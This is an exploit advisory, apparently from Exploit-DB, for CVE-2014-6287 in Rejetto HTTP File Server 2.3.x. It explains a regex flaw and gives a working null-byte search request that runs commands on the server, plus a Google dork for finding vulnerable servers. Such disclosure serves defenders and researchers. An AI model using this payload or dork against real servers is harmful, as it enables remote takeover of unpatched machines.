Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)

# Exploit Title: HttpFileServer 2.3.x Remote Command Execution

# Google Dork: intext:"httpfileserver 2.3"

# Date: 11-09-2014

# Remote: Yes

# Exploit Author: Daniele Linguaglossa

# Vendor Homepage: http://rejetto.com/

# Software Link: http://sourceforge.net/projects/hfs/

# Version: 2.3.x

# Tested on: Windows Server 2008 , Windows 8, Windows 7

# CVE : CVE-2014-6287



issue exists due to a poor regex in the file ParserLib.pas





function findMacroMarker(s:string; ofs:integer=1):integer;

begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;





it will not handle null byte so a request to



http://localhost:80/?search=%00{.exec|cmd.}



will stop regex from parse macro , and macro will be executed and remote code injection happen.





## EDB Note: This vulnerability will run the payload multiple times simultaneously. 

##   Make sure to take this into consideration when crafting your payload (and/or listener).